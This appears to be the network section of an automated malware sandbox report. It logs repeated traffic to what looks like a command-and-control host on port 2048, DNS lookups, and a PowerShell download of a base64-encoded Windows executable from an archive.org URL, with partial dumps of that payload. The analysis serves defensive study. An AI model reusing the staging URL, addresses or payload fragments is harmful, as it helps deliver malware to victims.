Oct 2, 2024 05:23:22.076267958 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076267958 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076350927 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076364994 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076376915 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076389074 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076400995 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076411009 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076421022 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076436043 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076436043 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076441050 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076491117 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076503038 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076505899 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076576948 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076646090 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076658010 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076669931 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076683998 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076695919 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076708078 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076719046 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076723099 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076719046 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076734066 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076742887 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076745033 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076757908 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076761007 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076788902 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076910973 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076925039 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076936960 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076946974 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076956987 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076968908 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.076976061 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.076976061 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.077138901 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078372002 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078389883 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078402996 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078413963 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078423977 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078434944 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078438044 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078438044 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078453064 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078461885 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078466892 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078479052 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078489065 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078490973 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078501940 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078512907 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078524113 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078535080 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078535080 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078535080 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078545094 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078556061 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078567028 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078571081 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078577995 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078588963 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078602076 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078608036 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078608036 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078613997 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078650951 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078650951 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078856945 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078869104 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078880072 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078890085 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078907967 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078918934 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078929901 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078938961 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078938961 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078939915 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078954935 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078968048 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078984022 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078986883 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.078998089 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.078999996 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.079010963 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.079016924 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.079020977 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.079031944 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.079032898 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.079046011 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.079056025 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.079075098 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.079086065 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.079093933 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.079093933 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.079099894 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.079111099 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.079124928 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.079133987 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.079134941 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.079175949 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.082376957 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082397938 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082448959 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082461119 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082461119 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.082473993 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082485914 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082498074 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082528114 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.082528114 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.082536936 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082547903 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082560062 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082585096 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.082603931 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082613945 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.082616091 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082627058 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082638025 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082673073 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.082694054 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.082782984 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082796097 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082807064 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082817078 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082828045 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082834005 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.082839012 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082851887 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.082875967 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.082875967 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.083089113 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083137989 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083144903 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.083158970 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083172083 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083183050 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083194017 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083203077 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.083235979 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.083245993 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083257914 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083292007 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.083580017 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083595037 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083607912 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083630085 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.083636045 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083650112 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083662033 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083673000 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083684921 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.083688021 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.083688021 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.083748102 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.122805119 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.163585901 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163616896 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163628101 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163641930 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163655996 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163655996 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.163665056 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163676977 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163690090 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.163690090 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163707972 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.163738966 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.163778067 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163789988 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163803101 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163830042 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.163858891 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163872957 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163883924 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163897991 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.163918972 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.163975000 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163986921 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.163999081 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164007902 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164019108 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164042950 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.164042950 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.164063931 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164076090 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164087057 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164103031 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.164128065 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.164159060 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164170980 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164180994 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164199114 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.164307117 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164321899 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164333105 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164343119 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164355993 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.164359093 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164371014 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164382935 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164382935 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.164397001 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.164424896 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.164457083 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164469004 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164479971 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:22.164503098 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.216548920 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.453000069 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:22.457890034 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:38.752603054 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:38.752895117 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:38.757852077 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:58.754108906 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:58.754417896 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:58.759174109 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:24:18.755283117 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:24:18.755919933 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:24:18.760776043 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:24:38.767635107 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:24:38.768079996 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:24:38.772963047 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:24:58.769521952 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:24:58.770154953 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:24:58.775013924 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:25:19.102435112 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:25:19.102916002 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:25:19.107700109 CEST	2048	49704	109.248.151.156	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 05:23:11.549319983 CEST	56103	53	192.168.2.10	1.1.1.1
Oct 2, 2024 05:23:11.697119951 CEST	53	56103	1.1.1.1	192.168.2.10
Oct 2, 2024 05:23:14.835350990 CEST	59021	53	192.168.2.10	1.1.1.1
Oct 2, 2024 05:23:14.844065905 CEST	53	59021	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 05:23:11.549319983 CEST	192.168.2.10	1.1.1.1	0xc68d	Standard query (0)	ia600100.us.archive.org	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:23:14.835350990 CEST	192.168.2.10	1.1.1.1	0xf5d7	Standard query (0)	pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 05:23:11.697119951 CEST	1.1.1.1	192.168.2.10	0xc68d	No error (0)	ia600100.us.archive.org	207.241.227.240	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:23:14.844065905 CEST	1.1.1.1	192.168.2.10	0xf5d7	No error (0)	pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	162.159.140.237	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:23:14.844065905 CEST	1.1.1.1	192.168.2.10	0xf5d7	No error (0)	pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	172.66.0.235	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ia600100.us.archive.org

pub-26ee9be236b54d0cb1b570a203543b93.r2.dev

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49702	207.241.227.240	443	1352	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:23:12 UTC	109	OUT	GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1 Host: ia600100.us.archive.org Connection: Keep-Alive
2024-10-02 03:23:12 UTC	606	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Wed, 02 Oct 2024 03:23:12 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2823512 Last-Modified: Wed, 11 Sep 2024 23:50:18 GMT Connection: close ETag: "66e22cba-2b1558" Strict-Transport-Security: max-age=15724800 Expires: Wed, 02 Oct 2024 09:23:12 GMT Cache-Control: max-age=21600 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With Access-Control-Allow-Credentials: true Accept-Ranges: bytes
2024-10-02 03:23:12 UTC	15778	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 42 6f 43 42 62 6f 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 69 45 4c 41 54 41 41 41 45 59 67 41 41 41 49 41 41 41 41 41 41 41 41 76 6d 55 67 41 41 41 67 41 41 41 41 67 43 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABoCBboAAAAAAAAAAOAADiELATAAAEYgAAAIAAAAAAAAvmUgAAAgAAAAgCAAAABAAAAgAAAAAgA
2024-10-02 03:23:12 UTC	16384	IN	Data Raw: 41 41 41 50 34 4d 45 77 42 46 41 67 41 41 41 41 55 41 41 41 41 31 41 41 41 41 4f 41 41 41 41 41 41 41 45 51 4d 52 46 78 45 49 63 35 73 46 41 41 5a 76 63 51 41 41 43 69 41 42 41 41 41 41 66 73 55 49 41 41 52 37 42 51 6b 41 42 44 6e 4a 2f 2f 2f 2f 4a 69 41 41 41 41 41 41 4f 4c 37 2f 2f 2f 38 41 41 4e 30 66 41 41 41 41 49 41 49 41 41 41 42 2b 78 51 67 41 42 48 73 53 43 51 41 45 4f 73 6e 36 2f 2f 38 6d 49 41 41 41 41 41 41 34 76 76 72 2f 2f 78 45 44 62 79 73 41 41 41 6f 57 50 6f 38 41 41 41 41 67 41 51 41 41 41 48 37 46 43 41 41 45 65 77 73 4a 41 41 51 36 6e 66 72 2f 2f 79 59 67 41 51 41 41 41 44 69 53 2b 76 2f 2f 45 67 63 6f 63 41 41 41 43 68 4d 49 49 41 55 41 41 41 42 2b 78 51 67 41 42 48 76 30 43 41 41 45 4f 6e 58 36 2f 2f 38 6d 49 41 59 41 41 41 41 34 61 Data Ascii: AAAP4MEwBFAgAAAAUAAAA1AAAAOAAAAAAAEQMRFxEIc5sFAAZvcQAACiABAAAAfsUIAAR7BQkABDnJ////JiAAAAAAOL7///8AAN0fAAAAIAIAAAB+xQgABHsSCQAEOsn6//8mIAAAAAA4vvr//xEDbysAAAoWPo8AAAAgAQAAAH7FCAAEewsJAAQ6nfr//yYgAQAAADiS+v//EgcocAAAChMIIAUAAAB+xQgABHv0CAAEOnX6//8mIAYAAAA4a
2024-10-02 03:23:12 UTC	16384	IN	Data Raw: 2f 2f 2f 77 41 52 42 47 39 49 49 77 41 47 62 33 51 41 41 41 6f 54 42 53 41 46 41 41 41 41 4f 44 48 2f 2f 2f 38 41 4f 4e 73 41 41 41 41 67 43 41 41 41 41 44 67 45 41 41 41 41 2f 67 77 4d 41 45 55 67 41 41 41 41 4f 51 49 41 41 47 34 43 41 41 42 61 41 51 41 41 66 51 41 41 41 4d 73 43 41 41 43 4d 41 51 41 41 46 41 45 41 41 4a 77 44 41 41 43 55 41 41 41 41 41 51 4d 41 41 4c 77 41 41 41 41 57 41 41 41 41 33 41 49 41 41 4d 63 42 41 41 43 6a 41 51 41 41 53 67 49 41 41 41 55 41 41 41 43 62 41 67 41 41 58 67 41 41 41 49 45 42 41 41 41 38 41 51 41 41 61 77 45 41 41 42 30 44 41 41 44 38 41 41 41 41 66 77 49 41 41 4f 30 42 41 41 44 68 41 41 41 41 53 77 45 41 41 44 51 41 41 41 42 46 41 41 41 41 49 51 41 41 41 42 4d 43 41 41 41 34 4e 41 49 41 41 42 45 49 4f 6a 30 44 41 Data Ascii: ///wARBG9IIwAGb3QAAAoTBSAFAAAAODH///8AONsAAAAgCAAAADgEAAAA/gwMAEUgAAAAOQIAAG4CAABaAQAAfQAAAMsCAACMAQAAFAEAAJwDAACUAAAAAQMAALwAAAAWAAAA3AIAAMcBAACjAQAASgIAAAUAAACbAgAAXgAAAIEBAAA8AQAAawEAAB0DAAD8AAAAfwIAAO0BAADhAAAASwEAADQAAABFAAAAIQAAABMCAAA4NAIAABEIOj0DA
